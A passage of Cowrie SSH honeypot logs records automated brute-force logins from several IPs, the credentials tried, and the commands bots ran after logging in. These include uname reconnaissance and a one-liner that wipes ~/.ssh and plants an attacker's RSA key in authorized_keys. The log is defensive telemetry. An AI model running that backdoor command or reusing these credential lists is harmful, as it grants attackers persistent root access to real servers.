,"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:07.911408Z","src_ip":"2.57.122.208","session":"ec4672e4ada5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:08.466678Z","src_ip":"2.57.122.208","session":"ec4672e4ada5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:09.611661Z","src_ip":"2.57.122.208","session":"ec4672e4ada5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":39726,"dst_ip":"10.17.0.5","dst_port":22,"session":"546d3ce68a48","protocol":"ssh","message":"New connection: 92.118.39.92:39726 (10.17.0.5:22) [session: 546d3ce68a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:38.732670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:38.737422Z","src_ip":"92.118.39.92","session":"546d3ce68a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:38.838655Z","src_ip":"92.118.39.92","session":"546d3ce68a48","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"bot123","message":"login attempt [root/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:39.141718Z","src_ip":"92.118.39.92","session":"546d3ce68a48","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:39.379089Z","src_ip":"92.118.39.92","session":"546d3ce68a48","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:39.382115Z","src_ip":"92.118.39.92","session":"546d3ce68a48","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:39.485052Z","src_ip":"92.118.39.92","session":"546d3ce68a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:23:39.489731Z","src_ip":"92.118.39.92","session":"546d3ce68a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59472,"dst_ip":"159.203.135.109","dst_port":22,"session":"384924cc8b84","protocol":"ssh","message":"New connection: 2.57.122.208:59472 (159.203.135.109:22) [session: 384924cc8b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:25:17.545977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:25:17.551652Z","src_ip":"2.57.122.208","session":"384924cc8b84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:25:17.657938Z","src_ip":"2.57.122.208","session":"384924cc8b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:25:17.981296Z","src_ip":"2.57.122.208","session":"384924cc8b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:25:19.129194Z","src_ip":"2.57.122.208","session":"384924cc8b84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":56358,"dst_ip":"10.17.0.5","dst_port":22,"session":"a73a2ad299c0","protocol":"ssh","message":"New connection: 92.118.39.92:56358 (10.17.0.5:22) [session: a73a2ad299c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:26:00.884001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:26:00.901528Z","src_ip":"92.118.39.92","session":"a73a2ad299c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:26:00.988726Z","src_ip":"92.118.39.92","session":"a73a2ad299c0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"telegramapi","message":"login attempt [root/telegramapi] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:26:01.416414Z","src_ip":"92.118.39.92","session":"a73a2ad299c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:26:01.750440Z","src_ip":"92.118.39.92","session":"a73a2ad299c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:26:01.754032Z","src_ip":"92.118.39.92","session":"a73a2ad299c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:26:01.869508Z","src_ip":"92.118.39.92","session":"a73a2ad299c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:26:01.875115Z","src_ip":"92.118.39.92","session":"a73a2ad299c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":49496,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d8b56659ecf","protocol":"ssh","message":"New connection: 199.195.254.215:49496 (10.17.0.5:22) [session: 0d8b56659ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.082289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.086631Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.098512Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"cmcc10086","message":"login attempt [root/cmcc10086] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.170248Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.239300Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.243031Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.247520Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.260970Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.410536Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.414174Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.428876Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.432106Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":49566,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c134f916516","protocol":"ssh","message":"New connection: 199.195.254.215:49566 (10.17.0.5:22) [session: 6c134f916516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.438917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.443124Z","src_ip":"199.195.254.215","session":"6c134f916516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.452604Z","src_ip":"199.195.254.215","session":"6c134f916516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:40.531257Z","src_ip":"199.195.254.215","session":"6c134f916516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:41.552620Z","src_ip":"199.195.254.215","session":"6c134f916516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":49808,"dst_ip":"10.17.0.5","dst_port":22,"session":"d52c68f22b1a","protocol":"ssh","message":"New connection: 199.195.254.215:49808 (10.17.0.5:22) [session: d52c68f22b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:41.557556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:41.561676Z","src_ip":"199.195.254.215","session":"d52c68f22b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:41.570959Z","src_ip":"199.195.254.215","session":"d52c68f22b1a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:41.641794Z","src_ip":"199.195.254.215","session":"d52c68f22b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:41.650009Z","src_ip":"199.195.254.215","session":"0d8b56659ecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:27:41.654659Z","src_ip":"199.195.254.215","session":"d52c68f22b1a","protocol":"ssh"}
